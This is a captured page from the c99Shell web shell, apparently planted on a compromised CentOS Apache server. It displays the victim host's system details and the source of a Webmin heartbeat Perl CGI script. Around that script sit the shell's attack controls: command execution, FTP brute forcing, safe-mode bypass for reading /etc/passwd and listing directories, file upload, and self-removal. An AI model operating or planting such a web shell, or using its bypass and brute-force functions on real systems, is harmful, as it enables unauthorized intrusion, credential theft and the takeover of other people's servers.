!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/heartbeat/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_res.cgi (2.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_res.cgi

# extension of edit_res.cgi including display of 
# actual resource status and possibility to request
# a resource
#
# Christof Amelunxen, 22.08.2003
#

require './heartbeat-lib.pl';

# if called with parameter getserv this is a get_resource request
ReadParse();
if ($in{getserv} && -f $config{'pid_file'}) { 
    unless (check_status_resource($in{getserv})) {
    get_resource($in{getserv});
    # ugly hack to show the changed status immediately
    sleep 5;
    # redirect to url without appending parameters (to avoid reload button problem)
    redirect("$ENV{SCRIPT_NAME}");    
    exit 0;
    }
}    

# normal processing starts here
&ui_print_header(undef, $text{'res_title'}, "");

@res = &list_resources();
if (@res) {
    print "<table border width=100%>\n";
    print "<tr $tb> <td><b>$text{'res_node'}</b></td> ",
          "<td><b>$text{'res_ips'}</b></td> ",
          "<td><b>$text{'res_servs'}</b></td>\n",
          "<td><b>$text{'res_active'}</b></td>\n",
          "<td><b>$text{'res_getserv'}</b></td> </tr>\n";
    local $i = 0;
    foreach $r (@res) {
        print "<tr $cb> <td><a href='edit_node.cgi?idx=$i'>",
              "$r->{'node'}</a></td>\n";
        printf "<td>%s</td>\n",
            $r->{'ips'} ? join(" ", @{$r->{'ips'}})
                    : $text{'res_none'};
        printf "<td>%s</td>\n", $r->{'servs'} ?
            join("&nbsp;,&nbsp;", map { s/::/ /g; $_ } @{$r->{'servs'}})
            : $text{'res_none'};
                if (check_status_resource(@{$r->{'ips'}})) {
                        print "<td bgcolor=#00FF00>$text{'res_up'}</td>";
                } else {
                        print "<td bgcolor=#FF0000>$text{'res_down'}</td>";
                }
                print "<td>";
                if ( -f $config{'pid_file'}) {
                        print "<form action=edit_res.cgi>\n";
                        print "<input type=hidden name=getserv value=@{$r->{'ips'}}>\n";
                        print "<input type=submit value='$text{'res_getserv'}'>\n";
                        print "</form>\n";
                } else {
                        print "$text{res_hbdown}";
                }
                print "</td></tr>";

        $i++;
        }
    print "</table>\n";
    }
else {
    print "<b>$text{'res_nores'}</b><p>\n";
    }
print "<a href='edit_node.cgi?new=1'>$text{'res_add'}</a><p>\n";

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--